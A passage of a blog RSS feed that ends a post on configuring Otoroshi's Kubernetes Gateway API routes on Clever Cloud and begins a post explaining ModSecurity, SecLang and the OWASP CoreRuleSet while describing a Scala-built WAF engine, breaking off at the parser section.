&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      remove&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;X-Internal-Secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;redirects-and-url-rewrites&quot;&gt;Redirects and URL Rewrites&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/old-api&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  filters&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestRedirect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    requestRedirect&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      scheme&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      statusCode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;301&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;extending-with-otoroshi-plugins&quot;&gt;Extending with Otoroshi Plugins&lt;/h3&gt;
&lt;p&gt;This is where things get really powerful. You can attach Otoroshi’s plugin system to routes via annotations:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-secure-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  annotations&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    proxy.otoroshi.io/route-plugins&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;plugin&quot;: &quot;cp:otoroshi.next.plugins.ApikeyCalls&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;enabled&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;config&quot;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # ... rest of the HTTPRoute&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This annotation adds API key authentication enforcement to the route — using Otoroshi’s full plugin ecosystem, accessed through a standard Kubernetes annotation. You can add rate limiting, JWT validation, WAF rules, and any of Otoroshi’s 200+ plugins this way.&lt;/p&gt;
&lt;h3 id=&quot;cross-namespace-routing&quot;&gt;Cross-Namespace Routing&lt;/h3&gt;
&lt;p&gt;If your HTTPRoute is in a different namespace than the backend Service, you need a &lt;code&gt;ReferenceGrant&lt;/code&gt; in the target namespace:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1beta1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ReferenceGrant&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;allow-from-frontend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;backend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  from&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;group&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;frontend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  to&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;group&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;httpstls-termination&quot;&gt;HTTPS/TLS Termination&lt;/h3&gt;
&lt;p&gt;To terminate TLS at Otoroshi, reference a Kubernetes TLS secret in your Gateway listener:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  tls&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Terminate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    certificateRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-tls-secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Otoroshi will import the certificate from the Secret and handle TLS termination for all routes attached to this listener.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;This is a setup that genuinely works, and works well.&lt;/p&gt;
&lt;p&gt;CKE gets you a production-ready Kubernetes cluster in minutes. The &lt;code&gt;clever k8s create&lt;/code&gt; command, the NodeGroup abstraction for worker pools, the automatic load balancer provisioning — it’s fast, clean, and there’s very little friction between “I want a cluster” and “I have a cluster”. If you’re already using Clever Cloud for your other workloads, it fits right into your existing workflow without any surprise.&lt;/p&gt;
&lt;p&gt;Otoroshi’s Gateway API implementation delivers exactly what you’d expect from it: fast reconciliation (changes propagate in seconds with &lt;code&gt;gatewayApiWatch: true&lt;/code&gt;), accurate status updates on GatewayClass, Gateway, and HTTPRoute resources that make debugging straightforward, and full access to Otoroshi’s plugin ecosystem through annotations. The entire routing, security, and traffic management surface of Otoroshi — 200+ plugins — is available from standard Kubernetes manifests. That’s the implementation working as designed.&lt;/p&gt;
&lt;p&gt;The whole stack comes together cleanly: a few &lt;code&gt;kubectl&lt;/code&gt; commands, a handful of YAML manifests, and you have a fully functional API gateway integrated with the Kubernetes Gateway API standard. If you’re already familiar with Otoroshi — which you might well be if you use Clever Cloud, since it’s available as an add-on — the learning curve is essentially zero. You’re just expressing what Otoroshi already does, in the standard Kubernetes way.&lt;/p&gt;
&lt;p&gt;The era of annotation-heavy Ingress resources and controller-specific lock-in is ending. The Gateway API is the way forward, and with Otoroshi on CKE, the path there is straightforward.&lt;/p&gt;
&lt;p&gt;If you have questions, run into issues, or want to share what you build with this stack, reach out to us at &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt;. We’re always happy to talk Kubernetes networking, API gateways, and all things Otoroshi.&lt;/p&gt;
&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes&quot;&gt;Clever Cloud Kubernetes documentation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/index.html&quot;&gt;Otoroshi documentation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/features.html&quot;&gt;Otoroshi features overview&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/deploy/kubernetes.html&quot;&gt;Otoroshi Kubernetes deployment guide&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html&quot;&gt;Otoroshi Gateway API integration&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gateway-api.sigs.k8s.io/&quot;&gt;Kubernetes Gateway API official documentation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kubernetes-sigs/gateway-api/releases/tag/v1.4.0&quot;&gt;Gateway API v1.4.0 release&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>Kubernetes</category><category>k8s</category><category>Gateway API</category><category>Gateway</category><category>Otoroshi</category><category>APIM</category><category>Cloud APIM</category><category>Clever Cloud</category><category>Ingress</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CgCJpA4s_1nIcXj.jpg" length="0" type="image/jpeg"/></item><item><title>Building a JVM-Native WAF: A Journey from WASM to Pure Scala</title><link>https://blog.cloud-apim.com/building-a-jvm-native-waf-a-journey-from-wasm-to-pure-scala</link><guid isPermaLink="true">https://blog.cloud-apim.com/building-a-jvm-native-waf-a-journey-from-wasm-to-pure-scala</guid><description>How I spent my Christmas holidays building a SecLang-compatible Web Application Firewall (almost) from…</description><pubDate>Tue, 03 Feb 2026 07:00:13 GMT</pubDate><content:encoded>&lt;p&gt;For the past two years, &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt; has had a Web Application Firewall powered by &lt;a href=&quot;https://coraza.io/&quot;&gt;Coraza&lt;/a&gt;, the excellent Go implementation of ModSecurity. To achieve that, we compiled Coraza to WebAssembly (wasm) and ran it inside Otoroshi using our wasm virtual machines orchestrator &lt;a href=&quot;https://github.com/MAIF/wasm4s&quot;&gt;wasm4s&lt;/a&gt;. It worked really great, especially when you don’t have a lot of WAF configuration. But as we scaled the number of WAF configurations and number of concurrent WASM VM instances to hundreds, cracks started to show. Due to the stateful nature of the Coraza WASM integration, one configuration (list of SecLang statement, typically different for each tenant) is tied to one WASM VM. We cannot initialize a generic WASM VM and dynamically inject a different configuration for each evaluation. So naturally, with hundreds of possible configurations, memory exploded, latency increased and configurations became unmanageable.&lt;/p&gt;
&lt;p&gt;This is the story of how I built a complete SecLang engine in Scala during my Christmas vacation (well you know, after the kids went to bed!), why I did it, and all the technical challenges along the way.&lt;/p&gt;
&lt;h2 id=&quot;the-problem-with-wasm-based-wafs&quot;&gt;The Problem with WASM-Based WAFs&lt;/h2&gt;
&lt;p&gt;Before diving into the solution, let me explain why we needed one in the first place.&lt;/p&gt;
&lt;p&gt;Our WASM-based Coraza integration had several pain points:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Single-threaded execution&lt;/strong&gt;: WASM is inherently single-threaded. To handle concurrent requests, we had to spin up multiple WASM virtual machines per WAF configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Memory footprint&lt;/strong&gt;: Each WASM instance loads a ~20MB binary. Multiply that by the number of instances needed for multi-tenancy / concurrency, and memory usage adds up fast.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Serialization overhead&lt;/strong&gt;: Every request had to be serialized from JVM objects to WASM-compatible structures, processed, then deserialized back. At scale, this serialization dance became a measurable bottleneck.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configuration duplication&lt;/strong&gt;: Each WASM instance needed its own copy of the rules. No sharing, no caching, no composition.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In short: WASM solved portability, but exposed scalability limits in our very specific multi-tenant configuration model at &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt;. What we needed was a native JVM implementation: thread-safe, memory-efficient, and designed for multi-tenant environments where configurations can be shared and composed. At that scale, the limiting factor was not WebAssembly itself, but the way execution environments and configurations were coupled.&lt;/p&gt;
&lt;h2 id=&quot;understanding-the-landscape-modsecurity-seclang-and-coreruleset&quot;&gt;Understanding the Landscape: ModSecurity, SecLang, and CoreRuleSet&lt;/h2&gt;
&lt;p&gt;Before I explain how I built the solution, let’s make sure we’re all on the same page about the ecosystem.&lt;/p&gt;
&lt;h3 id=&quot;modsecurity-the-grandfather-of-wafs&quot;&gt;ModSecurity: The Grandfather of WAFs&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-modsecurity/ModSecurity&quot;&gt;ModSecurity&lt;/a&gt; is the most widely deployed open-source Web Application Firewall. Originally created for Apache in 2002, it later became a standalone library that can be embedded in any web server or proxy.&lt;/p&gt;
&lt;p&gt;ModSecurity itself doesn’t block attacks—it provides the &lt;em&gt;engine&lt;/em&gt;. You feed it rules, and it evaluates incoming requests against those rules.&lt;/p&gt;
&lt;h3 id=&quot;seclang-the-rule-language&quot;&gt;SecLang: The Rule Language&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-%28v3.x%29&quot;&gt;SecLang&lt;/a&gt; (or “SecRule Language”) is the domain-specific language used to write ModSecurity rules. It’s become a de facto standard—virtually every serious WAF implementation understands SecLang rules.&lt;/p&gt;
&lt;p&gt;Here’s what a typical SecLang rule looks like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SecRule REQUEST_HEADERS:User-Agent &quot;@pm firefox chrome safari&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;id:1001,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    pass,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    msg:&apos;Browser detected&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    tag:&apos;browser-detection&apos;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s break this down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SecRule&lt;/code&gt;: The directive that defines a rule&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;REQUEST_HEADERS:User-Agent&lt;/code&gt;: The variable to inspect (HTTP User-Agent header)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;@pm firefox chrome safari&lt;/code&gt;: The operator (&lt;code&gt;@pm&lt;/code&gt; = phrase match, checks if any of the words appear)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;id:1001&lt;/code&gt;: Unique rule identifier&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;phase:1&lt;/code&gt;: When to execute (phase 1 = after headers are received)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pass&lt;/code&gt;: Action to take on match (continue processing)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;t:none,t:lowercase&lt;/code&gt;: Transformations to apply before matching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;msg:&apos;...&apos;&lt;/code&gt;: Log message when rule matches&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tag:&apos;...&apos;&lt;/code&gt;: Categorization tag&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SecLang supports five execution phases:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;When&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Request Headers&lt;/td&gt;
&lt;td&gt;After request headers are received&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Request Body&lt;/td&gt;
&lt;td&gt;After request body is received&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Response Headers&lt;/td&gt;
&lt;td&gt;After response headers are received&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Response Body&lt;/td&gt;
&lt;td&gt;After response body is received&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Logging&lt;/td&gt;
&lt;td&gt;Before logging&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;owasp-coreruleset-the-industry-standard&quot;&gt;OWASP CoreRuleSet: The Industry Standard&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://coreruleset.org/&quot;&gt;OWASP CoreRuleSet (CRS)&lt;/a&gt; is a comprehensive set of SecLang rules that protect against common web attacks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SQL Injection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Scripting (XSS)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Local File Inclusion (LFI)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remote Code Execution&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Protocol violations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And dozens more categories&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CRS is battle-tested, regularly updated, and used by major CDNs and WAF vendors worldwide. Any serious SecLang implementation needs to be CRS-compatible.&lt;/p&gt;
&lt;p&gt;The current version (CRS 4.x) contains over 600 rules organized into categories like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-911-METHOD-ENFORCEMENT.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-913-SCANNER-DETECTION.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-920-PROTOCOL-ENFORCEMENT.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-930-APPLICATION-ATTACK-LFI.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-932-APPLICATION-ATTACK-RCE.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-933-APPLICATION-ATTACK-PHP.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-941-APPLICATION-ATTACK-XSS.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-942-APPLICATION-ATTACK-SQLI.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REQUEST-949-BLOCKING-EVALUATION.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;To sum it up: ModSecurity is the engine, SecLang is the language, and CRS is the knowledge base.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;the-christmas-project-begins&quot;&gt;The Christmas Project Begins&lt;/h2&gt;
&lt;p&gt;It was late December, and I was looking for a fun side project. I had been pondering the WAF problem for months—maybe years— but always convinced myself it was too complex. The SecLang parser alone seemed like a mountain. I’d already tried some approaches using &lt;a href=&quot;https://github.com/scala/scala-parser-combinators&quot;&gt;scala parser combinators&lt;/a&gt;, &lt;a href=&quot;https://github.com/com-lihaoyi/fastparse&quot;&gt;fastparse&lt;/a&gt;, even regular expressions, but nothing seemed to work 100% of the time.&lt;/p&gt;
&lt;p&gt;Then I stumbled upon &lt;a href=&quot;https://github.com/coreruleset/seclang_parser&quot;&gt;seclang_parser&lt;/a&gt;—an ANTLR grammar for SecLang, maintained by the CoreRuleSet team. Suddenly, the mountain looked more like a hill.&lt;/p&gt;
&lt;p&gt;Here’s the high-level architecture I ended up building:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 5499px) 5499px, 100vw&quot; width=&quot;5499&quot; height=&quot;1268&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_25QfMr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1KMlYQ.webp 640w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1Qr3PC.webp 750w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_K0KIo.webp 828w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Ztv4FK.webp 1080w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_2lMTfF.webp 1280w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_1CeLyM.webp 1668w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Z1iKCgN.webp 2048w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_Z2gO1V2.webp 2560w, https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_25QfMr.webp 5499w&quot;&gt;&lt;/p&gt;
&lt;p&gt;The key insight: compilation happens once, evaluation happens per-request. Let’s walk through each component.&lt;/p&gt;
&lt;h2 id=&quot;part-1-the-parser&quot;&gt;Part 1: The Parser&lt;/h2&gt;
&lt;h3 id=&quot;antlr-to-the-rescue&quot;&gt;ANTLR to the Rescue&lt;/h3&gt;
